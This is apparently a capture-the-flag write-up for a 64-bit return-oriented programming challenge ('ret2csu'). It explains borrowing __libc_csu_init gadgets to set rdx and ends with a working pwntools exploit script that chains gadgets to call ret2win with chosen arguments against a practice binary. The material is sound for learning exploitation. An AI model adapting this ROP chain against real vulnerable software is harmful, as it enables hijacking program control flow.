ROP x64 Challenge 8.

Challenge 8

And we’ve reached the end of the road with these challenges and have just one more to do. The task is pretty simple, like before there is a ret2win function in the attached library and we have to call it with specific arguments, ret2win(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d) to be exact.

So we remember the registers for arguments go rdi, rsi, and rdx for 1st, 2nd, and 3rd arguments to a function respectively.

Opening up the binary, we can see that the ret2win function is in the plt, so we don’t have to worry about getting offsets to it or anything.

pwndbg> plt
0x400500: pwnme@plt
0x400510: ret2win@plt

We also see that we can easily control rsi and rdi.

pwndbg> ropper -- --search "pop rdi"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File: /root/working/ret2csu/ret2csu_64/ret2csu
0x00000000004006a3: pop rdi; ret; 

pwndbg> ropper -- --search "pop rsi"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rsi

[INFO] File: /root/working/ret2csu/ret2csu_64/ret2csu
0x00000000004006a1: pop rsi; pop r15; ret; 

However, we can not find any gadgets that affect rdx in the binary. I spent a lot of time here trying to figure this out and got no where, so I ended up reading the paper linked in the challenge: BlackHat Asia paper and this article by voidsecurity.

The idea is that automatid tools like ropper don’t find every possible gadget and if you know what you are doing you can find gadgets in the boiler plate code that gcc adds to every binary. If you can find useful gadgets in the boilerplate, those gadgets should be in every binary and hence universal.

The boilerplate code we are using for this challenge is the __libc_csu_init function. Which is as follows:

   0x0000000000400640 <+0>:     push   r15
   0x0000000000400642 <+2>:     push   r14
   0x0000000000400644 <+4>:     mov    r15,rdx
   0x0000000000400647 <+7>:     push   r13
   0x0000000000400649 <+9>:     push   r12
   0x000000000040064b <+11>:    lea    r12,[rip+0x20079e]        # 0x600df0
   0x0000000000400652 <+18>:    push   rbp
   0x0000000000400653 <+19>:    lea    rbp,[rip+0x20079e]        # 0x600df8
   0x000000000040065a <+26>:    push   rbx
   0x000000000040065b <+27>:    mov    r13d,edi
   0x000000000040065e <+30>:    mov    r14,rsi
   0x0000000000400661 <+33>:    sub    rbp,r12
   0x0000000000400664 <+36>:    sub    rsp,0x8
   0x0000000000400668 <+40>:    sar    rbp,0x3
   0x000000000040066c <+44>:    call   0x4004d0 <_init>
   0x0000000000400671 <+49>:    test   rbp,rbp
   0x0000000000400674 <+52>:    je     0x400696 <__libc_csu_init+86>
   0x0000000000400676 <+54>:    xor    ebx,ebx
   0x0000000000400678 <+56>:    nop    DWORD PTR [rax+rax*1+0x0]
   0x0000000000400680 <+64>:    mov    rdx,r15
   0x0000000000400683 <+67>:    mov    rsi,r14
   0x0000000000400686 <+70>:    mov    edi,r13d
   0x0000000000400689 <+73>:    call   QWORD PTR [r12+rbx*8]
   0x000000000040068d <+77>:    add    rbx,0x1
   0x0000000000400691 <+81>:    cmp    rbp,rbx
   0x0000000000400694 <+84>:    jne    0x400680 <__libc_csu_init+64>
   0x0000000000400696 <+86>:    add    rsp,0x8
   0x000000000040069a <+90>:    pop    rbx
   0x000000000040069b <+91>:    pop    rbp
   0x000000000040069c <+92>:    pop    r12
   0x000000000040069e <+94>:    pop    r13
   0x00000000004006a0 <+96>:    pop    r14
   0x00000000004006a2 <+98>:    pop    r15
   0x00000000004006a4 <+100>:   ret   

We see in this function that line 64 sets the rdx redgister to r15 and on line 98 we can control r15 with the pop instruction right before the ret. The problem is that on line 73, there is a relitive call to the function pointed to by [r12+rbx*8]. Now we control r12 (see line 92) and rbp, however that call is double de refrenced. So the execution will continue to happen at [r12+rbx*8] -> address -> start_of_call. So we have to find a do nothing function, which has a function pointer pointing to it somewhere in memory.

So let’s start up the program and break in gdb right before our exploit starts and see if we can find any function pointers to use. In the second article I referenced, I noticed this line, “In _DYNAMIC variable ie. .dynamic section of executable we can find pointers to _init and _fini section.” So let’s print off the values in dynamic right now.

pwndbg> x/30gx &_DYNAMIC 
...
0x600e30:       0x000000000000000c      0x00000000004004d0
0x600e40:       0x000000000000000d      0x00000000004006b4
0x600e50:       0x0000000000000019      0x0000000000600df0
...

A couple of those values look familarish. The 400 values are the range of the plt (which we can call, so pointers to functions) and the 600 is around the got (which are pointers to functions). So now we just got to figure out which functions these are.

looking at 0x4004d0 we see

pwndbg> tele 0x4006b4 20
00:0000│  0x4006b4 (_fini) ◂— sub    rsp, 8
01:0008│  0x4006bc (_fini+8) ◂— ret    

which is basically a do nothing functions which we can call. So if we look at the rest of the function all we have to do is get past the jne on line 84 which is easy enough because we have control over all the registers used in the compare.

0x0000000000400691 <+81>: cmp rbp,rbx 0x0000000000400694 <+84>: jne 0x400680 <__libc_csu_init+64>

So now we have everything we need to make the payload.

Note, I’ll be using gadgets from the csu init function with just gadget $line_num for notation

         | stack          |
         | -------------- | 
32 bytes | start buffer   |
8  bytes | base pointer   | # fill the buffer and base pointer
8  bytes | gadget 90      | # pop everything off rbx, rbp, r12-15      
8  bytes | 0x1            | # rbx value                                         
8  bytes | 0x2            | # rbp value must be 1 more then rbx for the cmp and jump               
8  bytes | addr in dynm   | # r12 the address in dynamic pointing to func pointer to csu_fini
8  bytes | 0xdeadbeef...  | # r13 mapped to edi                                   
8  bytes | 0xcafebabe...  | # r14 mapped to rsi                               
8  bytes | 0xd00df00d     | # r15 mapped to rdx                       
8  bytes | gadget 64      | # the gadget for placing rdx and going through the call
8  bytes | random junk    | # stack pointer is add/sub to 
8  bytes | 0x1            | # we have to redo all the pops to finish out the function
8  bytes | 0x2            |                
8  bytes | addr in dynm   | 
8  bytes | 0xdeadbeef...  |                                   
8  bytes | 0xcafebabe...  |                                
8  bytes | 0xd00df00d     |                       
8  bytes | pop rdi        | # replace the changed rdi value
8  bytes | 0xdeadbeef...  | 
8  bytes | ret2win        | # all values have been placed so we can call ret2win
8  bytes | -------------- |

#!/usr/bin/python3

from pwn import *


write_loc 	= 0x601029
print_file 	= p64(0x400620)
target		= "./ret2csu"
back_junk 	= b"B" * 20
# The amount to fill the buffer
junk = b'A' * 0x20

# The 8 bytes to fill the new base pointer from the leave
new_bp = p32(0xc0deba5e)*2


"""
Place a string (1st arg) into the location
given by the 2nd arg. Note the 2nd arg should be 
packed
"""
import binascii
def print_payload(payload):
	for i in range(0, len(payload), 8):
		continue
		print(binascii.hexlify(payload[i:i+8]))

io = process(target)
first_out = io.clean(0.5).decode("utf-8")
print(first_out)
payload = junk + new_bp
payload += p64(0x0040069a)		# pop everything
payload += p64(0x1)			# rbx val *8 for call
payload += p64(0x2)			# rbp must be 1 more then rbx
payload += p64(0x600e48-8)		# Base of the call, do nothing ptr in dynamic
payload += p64(0xdeadbeefdeadbeef)	# edi through r13
payload += p64(0xcafebabecafebabe)	# rsi through r14
payload += p64(0xd00df00dd00df00d)	# rdx through r15
payload += p64(0x0400680)		# ret call to ptr call


payload += p64(0x0123456789abcdef)	# random junk skipped over
# we have to go through all of the pops again from gaget 1

payload += p64(0x1)			# rbx val *8 for call
payload += p64(0x2)			# rbp must be 1 more then rbx
payload += p64(0x600e48-8)		# Base of the call, do nothing ptr in dynamic
payload += p64(0xdeadbeefdeadbeef)	# edi through r13
payload += p64(0xcafebabecafebabe)	# rsi through r14
payload += p64(0xd00df00dd00df00d)	# rdx through r15


payload += p64(0x04006a3)		# pop edi address
payload += p64(0xdeadbeefdeadbeef)	# edi value

payload += p64(0x400510)		# the ret2win addr

# print("The payload is:")
# print(payload)
print("Payload size is:" + str(len(payload)))

input("Hit enter to apptempt exploit")



print(io.clean(0.5).decode("utf-8"))

input("exploit sent hit enter to end")
io.send(payload)


print(io.clean(0.5).decode("utf-8"))


sleep(1)


f = open('./payload', 'wb')
f.write(payload)
f.close()